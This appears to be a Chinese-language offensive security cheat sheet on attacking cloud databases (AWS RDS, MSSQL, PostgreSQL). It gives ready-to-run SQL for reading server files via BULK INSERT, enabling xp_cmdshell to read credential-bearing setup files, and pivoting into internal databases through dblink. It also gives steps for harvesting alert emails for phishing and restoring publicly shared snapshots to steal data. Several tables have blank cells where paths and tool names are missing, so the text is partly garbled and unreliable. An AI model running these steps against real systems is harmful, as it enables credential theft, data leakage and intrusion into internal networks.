RDS云数据库安全
信息搜集
| 利用点 | 可获取的信息 | 风险价值 |
| 通知邮箱 | 安全/运维部门邮件地址 | 可用于社工、钓鱼、识别组织归属 |
| 性能详情 | SQL语句、连接IP、用户名 | 高价值数据路径、内部资产信息 |
| 快照共享 | 数据库结构+部分数据内容 | 可能直接拿到敏感数据备份 |
通知邮箱收集(Alert Email)
路径:RDS 实例控制台 → “监控” → “事件订阅” → 编辑通知设置
- 里面往往设置了异常通知邮箱,常见格式如:
security@company.com
devops-alert@target.com
用途
- 可用于钓鱼攻击或社工搭建伪装身份
- 验证公司归属(域名关联公司)
- 进一步用于爆破邮箱、撞库等方式
性能详情信息(Performance Insights)
路径:RDS 控制台 → 实例 → “性能洞察(Performance Insights)”
可收集信息点:
| 指标 | 示例 |
| TOP SQL 语句 |
|
| TOP 数据库用户 |
|
| TOP 连接主机 | 内网IP: |
| SQL 响应时间 | 哪些慢查询、压力点 |
用途
- 暴露数据表名 / 字段名
- 揭示用户行为、业务逻辑
- 揭示潜在内网结构(谁在连数据库)
快照共享滥用(Snapshot Abuse)
背景
- AWS RDS 允许对快照进行 “公开共享” 或“与特定账户共享”
- 若配置不当,攻击者可以看到并还原这些快照
操作流程:
- 打开 RDS → 快照 → 查看“共享快照”
- 快照名字里可能带有公司名/数据库名等敏感信息,例如:
example-prod-2023-07-12
users-backup-2024-q1
- 使用 RDS 恢复快照为新实例(你自己账号下)
- 登录新实例数据库,直接读取快照中的数据!
用途
- 数据泄露(敏感表、日志、用户密码)
- 数据结构分析(用于构造 SQL 注入)
- 横向信息(拿到配置、Token)
实战小工具推荐
| 工具 | 用途 |
| 查看快照 / 数据库信息 | |
| 快照查找与还原(自动化) | |
| 快照过度公开检测 | |
| 收集暴露的 AWS 域名/资源名 |
MSSQL 读取实例信息
前提
你必须拥有 足够权限的 MSSQL 账号,具体包括:
| 权限项 | 说明 |
|
| 允许导入外部文件 |
| 本地文件路径访问权限 | 数据库服务用户(一般是 |
| 路径存在且目标文件非二进制 | 比如 |
典型读取命令(以 AWS EC2 为例)
-- 创建临时表
create table #testtable(context ntext);
-- 从文件中导入内容
BULK INSERT #testtable
FROM 'C:\ProgramData\Amazon\EC2Launch\log\agent.log'
WITH (DATAFILETYPE = 'char', KEEPNULLS);
-- 查看读取结果
select * from #testtable;
-- 删除临时表
drop table #testtable;
可读取的典型文件
| 文件路径 | 内容 |
|
| 桌面文件 |
|
| 启动日志(可能包含用户名/IP) |
|
| 安装文件(可能包含明文密码) |
|
| Web应用配置文件 |
|
| 数据库登录历史 |
|
| 登录凭证数据(需要额外处理) |
常见函数辅助利用(如果权限更高)
1. xp_cmdshell 执行命令(需要开启)
exec sp_configure 'show advanced options', 1; reconfigure;
exec sp_configure 'xp_cmdshell', 1; reconfigure;
exec xp_cmdshell 'type C:\Windows\Panther\Unattend.xml';
能执行命令直接读取文件内容,比 BULK INSERT 更强
2. OPENROWSET 方式读取文件(同样需要权限)
SELECT * FROM OPENROWSET(BULK 'C:\path\file.txt', SINGLE_CLOB) as contents
PostgreSQL 数据库 SSRF
已获得一台 PostgreSQL 实例的账号密码(一般是云中的 RDS 实例),通过它去访问另一个 内网数据库,即使本地不通,也能通过已有数据库“跳板”打过去
利用核心是dblink,dblink 是 PostgreSQL 提供的一个扩展功能,允许从一个数据库连接另一个 PostgreSQL 数据库并执行 SQL
利用流程
-- 开启扩展(前提是当前用户有权限)
CREATE EXTENSION dblink;
-- 第一步:建立连接
SELECT dblink_connect(
'test',
'host=内网数据库IP port=5432 user=postgres password=xxx dbname=postgres sslmode=disable'
);
-- 第二步:执行命令(发送查询语句)
SELECT * FROM dblink_send_query('test', 'SELECT version();');
-- 第三步:获取结果(必须有,否则阻塞)
SELECT * FROM dblink_get_result('test') AS t(res TEXT);
成功的话你将看到内网数据库版本信息,例如:
PostgreSQL 14.3 on x86_64-pc-linux-gnu, compiled by gcc, 64-bit
SSRF 升级版:非 PostgreSQL 的跳板利用
如果数据库服务器能联网,并支持 postgres_fdw、file_fdw、mysql_fdw 等其他外部数据源,还可以:
| 模块 | 说明 |
|
| 可跨库访问,读取数据表 |
|
| 读本地文件,甚至日志等 |
|
| PostgreSQL 跨库连 MySQL |
|
| SSRF 利用 URI schema 探测 |

浙公网安备 33010602011771号